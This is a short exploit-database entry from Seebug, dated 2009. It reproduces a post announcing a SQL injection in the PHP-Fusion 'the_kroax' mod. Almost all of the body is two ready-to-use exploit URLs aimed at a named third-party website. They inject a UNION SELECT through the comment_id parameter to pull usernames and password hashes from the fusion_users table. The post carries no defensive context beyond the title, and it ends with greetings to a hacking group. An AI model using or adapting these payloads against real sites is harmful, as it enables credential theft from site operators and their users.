PHP-Fusion Mod the_kroax (comment_id) SQL Injection Vulnerability

2009-01-12T00:00:00
ID SSV:10448
Type seebug
Reporter Root
Modified 2009-01-12T00:00:00

Description

No description provided by source.

                                        
                                            
                                                PHP-Fusion Mod the_kroax (comment_id) SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Author by : FasTWORM
[+]home: Cyber-Warrior.Org
[+]exploit:
[+]http://www.beylerli.com/infusions/the_kroax/callcomments.php?comment_id=-999'+union+select+0,1905,2,3,user_name,5,6,1905+from+fusion_users/*
[+]http://www.beylerli.com/infusions/the_kroax/callcomments.php?comment_id=-999'+union+select+0,1905,2,3,user_password,5,6,1905+from+fusion_users/*
 
----------------------------------------------------------------------------------------------------------------------
[+]Greetz : BackDooR , Tr-ShaRk , All CW Users
[+]Note   : Bugun Doğum Günüm :)
----------------------------------------------------------------------------------------------------------------------